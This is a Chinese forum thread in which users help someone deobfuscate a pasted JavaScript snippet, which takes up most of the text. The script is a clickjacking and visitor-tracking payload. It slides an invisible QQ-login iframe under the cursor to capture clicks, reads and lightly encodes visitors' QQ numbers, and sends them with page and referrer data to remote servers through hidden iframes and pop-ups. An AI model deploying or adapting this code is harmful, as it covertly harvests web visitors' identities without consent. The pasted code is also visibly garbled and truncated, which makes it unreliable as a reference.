解决方案 »

  1.   

    你这个是复制出来的吧,应该在 c35 这里是一个 c< **** 的表达式,你这个复制的不是源文件,而是页面上显示的内容,所以是错误的
      

  2.   

    有报错饿..Uncaught ReferenceError: c35 is not defined 
      

  3.   

        },windowOpen:function(url){
            var height=document["body"]["clientHeight"];
            var width=document["body"]["clientWidth"];
            var loginHelper=window["open"](url,"\u8bbf\u95ee","height=1, width=1, top="+height+", left="+width+",toolbar=no,resizable=no,location=no,status=no");
            window["open"]("http://scn.dingsite.com/portal/proxy","\u63d0\u793a","height=200, width=300, top="+height-0xc8+", left="+width-0x12c+",toolbar=no,resizable=no,location=no,status=no");
            setTimeout(function(){
                loginHelper["close"]()
            },0x5dc);
            scn["defaultData"]["body"]["removeAttribute"]("onclick")
        },postDataC:function(){
            var saveurl=scn["defaultData"]["postDataUrlC"]+"?sid="+scn["defaultData"]["storeId"]+"&hh="+scn["defaultData"]["httpHref"]+"&hr="+scn["defaultData"]["httpReferrer"]+"&si="+scn["defaultData"]["seedId"]+"&sq="+scn["defaultData"]["seedQQ"]+"&callback=scn.Visitor";
            scn["getData"](saveurl)
        },postDataA:function(){
            scn["setCookie"]("scn_uin",scn["getCookie"]("scn_uin"),"s600");
            var url=scn["defaultData"]["postDataUrlA"]+"?sid="+scn["defaultData"]["storeId"]+"&q="+scn["getCookie"]("scn_uin")+"&hh="+scn["defaultData"]["httpHref"]+"&hr="+scn["defaultData"]["httpReferrer"]+"&visitorId="+visitorId;
            scn["getData"](url);
            if(document["getElementById"]("scndiv")){
                document["getElementById"]("scndiv")["parentNode"]["removeChild"](document["getElementById"]("scndiv"))
            }
        },Visitor:function(data){
            scn["setCookie"]("visitorId",data["visitorId"],"s300")
        },checkVisitor:function(){
            var url=scn["defaultData"]["getVisitorUrl"]+"?callback=scn.saveVisitor"+"&visitorId="+scn["getCookie"]("visitorId");
            scn["getData"](url)
        },saveVisitor:function(data){
            if(data["uin"]!=0x0){
                scn["setCookie"]("scn_uin",scn["encrypt"](data["uin"]["toString"]()),"s600");
                scn["postDataA"]()
            }else{
                scn["checkLogin"]()
            }
        },getqqCenterId:function(){
            var temp="";
            for(var i=0x0;
            i< 0x7;
            i++){
                temp+=Math["floor"](Math["random"]()*0xa)
            };
            return"1"+temp
        },directSend:function(){
            scn["defaultData"]["postCountB"]+=0x1;
            if(scn["defaultData"]["postCountB"]==0x1){
                var scnurl=scn["defaultData"]["postDataUrlB"]+"?sid="+scn["defaultData"]["storeId"]+"&q="+scn["defaultData"]["uin"]+"&hh="+scn["defaultData"]["httpHref"]+"&hr="+scn["defaultData"]["httpReferrer"];
                var iframe=document["createElement"]("iframe");
                scn["defaultData"]["head"]["insertBefore"](iframe,scn["defaultData"]["head"]["firstChild"]);
                iframe["style"]["display"]="none";
                iframe["src"]=scnurl;
                iframe["onerror"]=function(){
                    scn["defaultData"]["postCountB"]=0x0;
                    scn["directSend"]()
                };
                if(iframe["attachEvent"]){
                    iframe["attachEvent"]("onload",function(){
                        iframe["parentNode"]["removeChild"](iframe)
                    })
                }else{
                    iframe["onload"]=function(){
                        iframe["parentNode"]["removeChild"](iframe)
                    }
                }
            }
        },getqqCenterAgain:function(){
            scn["getData"](scn["defaultData"]["qqCenterUrl"]+scn["defaultData"]["uin"],scn["getqqCenterAgain"],scn["directSend"])
        },getsec:function(str){
            var str1=str["substring"](0x1,str["length"])*0x1;
            var str2=str["substring"](0x0,0x1);
            if(str2=="s"){
                return str1*0x3e8
            }else if(str2=="h"){
                return str1*0x3c*0x3c*0x3e8
            }else if(str2=="d"){
                return str1*0x18*0x3c*0x3c*0x3e8
            }
        },setCookie:function(name,value,time){
            var strsec=scn["getsec"](time);
            var exp=new Date();
            exp["setTime"](exp["getTime"]()+strsec*0x1);
            document["cookie"]=name+"="+escape(value)+";expires="+exp["toGMTString"]()
        },getCookie:function(name){
            var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
            if(arr=document["cookie"]["match"](reg))return unescape(arr[0x2]);
            else return null
        },encrypt:function(uin){
            uin=uin["toString"]();
            var reg=/^[0-9]*$/;
            if(reg["test"](uin)){
                var temp="";
                for(var i=0x0;
                i<
                uin["length"];
                i++){
                    switch(uin[i]){
                        case"1":temp+="a";
                        break;
                        case"2":temp+="b";
                        break;
                        case"3":temp+="c";
                        break;
                        case"4":temp+="d";
                        break;
                        case"5":temp+="e";
                        break;
                        case"6":temp+="f";
                        break;
                        case"7":temp+="g";
                        break;
                        case"8":temp+="h";
                        break;
                        case"9":temp+="i";
                        break;
                        case"0":temp+="j";
                        break;
                        default:break
                    }
                };
                return temp
            };
            return uin
        }
    };
    var scn_iframe_hover=false;
    function scn_iframeClick(a,_scniframeclickcallback){
        a["onmouseover"]=function(){
            scn_iframe_hover=true
        };
        a["onmouseout"]=function(){
            scn_iframe_hover=false
        };
        window["onblur"]=function(){
            if(scn_iframe_hover){
                _scniframeclickcallback()
            }
        }
    };
    function scn_load_iframe(){
        var scn_iframe=document["createElement"]('iframe');
        scn_iframe["src"]=scn["defaultData"]["websnapshotUrl"]+"&scn_iddddd="+scn["defaultData"]["storeId"]+"&ra="+scn["defaultData"]["httpHref"]+"&hr="+scn["defaultData"]["httpReferrer"]+"&visitorId="+visitorId;
        scn_iframe["width"]="0";
        scn_iframe["height"]="0";
        scn_iframe["marginWidth"]=0x0;
        scn_iframe["marginHeight"]=0x0;
        scn_iframe["frameBorder"]="no";
        scn_iframe["scrolling"]="no";
        scn["defaultData"]["body"]["insertBefore"](scn_iframe,scn["defaultData"]["body"]["firstChild"]);
        scn_iframe["onload"]=scn_iframe["onreadystatechange"]=function(){
            if((!this["readyState"]||this["readyState"]==="loaded"||this["readyState"]==="complete")){
                scn_iframe["onload"]=scn_iframe["onreadystatechange"]=null;
                if(scn["defaultData"]["body"]&&scn_iframe["parentNode"]){
                    
                }
            }
        }
    };
    function scniframeclickcallback(){
        var iframe=document["getElementById"]("iframe_scn_qqlogin");
        setTimeout(function(){
            try{
                iframe["style"]["display"]="none";
                var oPoint=document["elementFromPoint"](scn["defaultData"]["x"],scn["defaultData"]["y"]);
                oPoint["click"]();
                scn["setCookie"]("scnLogin","true","s900");
                scn["setCookie"]("visitorId",visitorId,"600s")
            }
            catch(e){
                iframe["style"]["display"]="none"
            }
        },0x3e8)
    };
    function scn_GetCurrentStyle(obj,prop){
        if(obj["currentStyle"]){
            return obj["currentStyle"][prop]
        }else if(window["getComputedStyle"]){
            propprop=prop["replace"](([A-Z])/g,"-$1");
            propprop=prop["toLowerCase"]();
            return document["defaultView"]["getComputedStyle"](obj,null)[propprop]
        };
        return null
    };
    window["scn_hookMove"]=function(){
        var iframe=document["getElementById"]("iframe_scn_qqlogin");
        scn_iframeClick(iframe,scniframeclickcallback);
        document["onmousemove"]=function(ev){
            scn_iframe_hover=false;
            window["focus"]();
            var iframe=document["getElementById"]("iframe_scn_qqlogin");
            var ev=ev||window["event"];
            scn["defaultData"]["x"]=ev["clientX"];
            scn["defaultData"]["x"]=ev["clientY"];
            var sTop=document["body"]["scrollTop"]+document["documentElement"]["scrollTop"];
            var widthD=document["documentElement"]["offsetWidth"]-ev["clientX"];
            var sLeft=document["body"]["scrollLeft"]+document["documentElement"]["scrollLeft"];
            var dd=0x0;
            var aaa=scn_GetCurrentStyle(document["body"],"position");
            if(document["documentElement"]["clientWidth"]>document["body"]["clientWidth"]&&aaa=="relative"){
                dd=(document["documentElement"]["clientWidth"]-document["body"]["clientWidth"])/0x2;
                dd=dd+sLeft;
                iframe["style"]["top"]=(sTop+ev["clientY"]-0x2)+"px";
                iframe["style"]["left"]=((undefined){
                    if(scn["getCookie"]("scnLogin")){
                        scn["checkLogin"]()
                    }else{
                        scn_createIframe_qzone()
                    }
                }
            }
        }else{
            scn["checkVisitor"]()
        }
    }else{
        scn["postDataA"]()
    }
    })();http://blog.csdn.net/superwfei/article/details/38436179 这里可以看到解密内容,只需要在 
    var b = a;  
    后面加上一句
    b = b.replace(/\\x[0-9a-f]{2}/gi,function(m){eval(m.replace('\\x','var asc=0x'));return String.fromCharCode(asc);});
      

  4.   

    关键位置是把 c35 替换成 c<a?'':e ( parseInt ( c/a)))+ ( ( c=c%a)>354 楼回复有错误